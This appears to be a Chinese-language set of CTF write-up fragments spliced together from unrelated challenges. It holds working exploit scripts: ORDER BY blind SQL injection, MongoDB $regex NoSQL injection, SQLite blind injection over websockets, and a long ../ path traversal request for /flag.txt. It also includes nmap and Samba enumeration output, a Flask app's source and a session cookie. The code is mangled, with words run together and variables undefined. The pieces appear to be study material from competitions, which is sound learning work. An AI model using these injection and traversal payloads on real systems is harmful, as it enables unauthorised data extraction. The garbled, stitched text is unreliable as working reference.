如果我们执行select * from flag where id='' or 1 union select 1,1 order by 2;会出现
不能用and否则就相当于创建了一个虚拟的表,查询不到原来的数据。
我们知道flag的第一位是f,如果我们查询select * from flag where id='' or 1 union select 1,'f' order by 2;会发生什么呢?
还是这样,第一行没什么用,但是如果我们查询的是g的话就会变成这样
flag的值就会出现在第一行,我们就可以利用这一点来进行order by盲注
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import requests import string url="http://4ef0329e-10b4-4bd1-bf0a-0d80fe83129d.challenge.ctf.show/" str=string.digits+string.ascii_letters flag='' j='' for i inrange(1,50): for s instr: data = { 'username': "' or 1 union select 1,2,'{0}' order by 3#".format(flag+s), 'password': '1111' } r=requests.post(url,data=data) if"</code>admin"in r.text: flag+=chr(ord(s)-1) print(flag) break;
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 a3d84a89a9256d07c53d762806edd1c0 (RSA) | 256 e7b289055457dc02f48c3a7c558b51aa (ECDSA) |_ 256 fd77072b4a163a016be0000c0a36d82f (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/tiki/ |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 MAC Address: 08:00:27:26:96:01 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.95 seconds
可以发现有samba服务,可以对samba进行枚举
用enum4linux跑一下可以找到silky的用户,用smbclient列举一下共享的资源
smbclient -L IP
1 2 3 4 5 6
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers Notes Disk My Notes IPC$ IPC IPC Service (ubuntu server (Samba, Ubuntu))
#app.py from flask import Flask,render_template,request,session,redirect import pymongo import os from functools import wraps from datetime import timedelta from hashlib import md5 from time import sleep
# db settings client = pymongo.MongoClient('localhost',27017) db = client.ctfdb
defcreateChalls(): db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"}) db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"}) db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"})
cookies = { 'session': 'eyJ1c2VyIjp7Il9pZCI6IjNhZDFlZGRlODNkMzRmMjhiZTMwMDdiYTIxOWQzZDUyIiwidXNlcm5hbWUiOiJhc2Rhc2QifX0.ZVoXtA.-obI_0v_QOu3KgulYZCyrYukpiM' } #登录的session
flag = ''
while True: for l in string.ascii_letters + string.digits + "_{}": data = '{"_id":"_id:3","challenge_flag":{"$regex":"^' + flag + l + '.*"}}' print(data) data = requests.post('https://ctfc2.ctf.intigriti.io/submit_flag', data = data, headers = headers, cookies = cookies, verify=False) print(data.text) if 'correct flag!' in data.text: flag += l print(flag) break else: print('Failed') exit(1)
import websocket import string import json str=string.ascii_letters+string.digits+string.punctuation ws = websocket.WebSocket() ws.connect("wss://bountyrepo.ctf.intigriti.io/ws") flag='' for j inrange(1,300): aaa=False for i instr: # data={"id":f"11 and length(sqlite_version())={j}"}判断数据库长度 # data={"id":f"11 AND SUBSTR((SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'),1,1)=CHAR({j})"}判断表长度 #data={"id":f"11 and substr((select group_concat(tbl_name) from sqlite_master where type='table' limit 0,1),{j},1)='{i}'"} data = {"id": f"11 and substr((select group_concat(sql) from sqlite_master),{j},1)='{i}'"} data=json.dumps(data) #print(data) ws.send(data) a=ws.recv() print(a) if'Bug report from ethical_hacker is Open'in a: aaa=True flag+=i print(flag) break #continue if aaa == False: print("ok") break
# flag = 'INTIGRITI' flag = '' with connect(f"wss://{URL}/ws") as websocket: whileTrue: for c in ALPHABET: payload = PAYLOAD.format(guess=flag + c) print('\r>>>', payload, end='') websocket.send(json.dumps({"id": payload})) message = websocket.recv() if'Bug not found!'notin message: flag += c print() print(flag) break
''' # PAYLOAD = "1 AND (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%') LIKE '{tables}%' -- -" # tables = "bug_reports" # PAYLOAD = "1 AND (SELECT GROUP_CONCAT(name) FROM PRAGMA_TABLE_INFO('bug_reports')) LIKE '{guess}%' --" # columns = 'id,category,description,severity,cvss_score,status,reported_by,reported_date' '''
POST /?theme=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..///flag.txt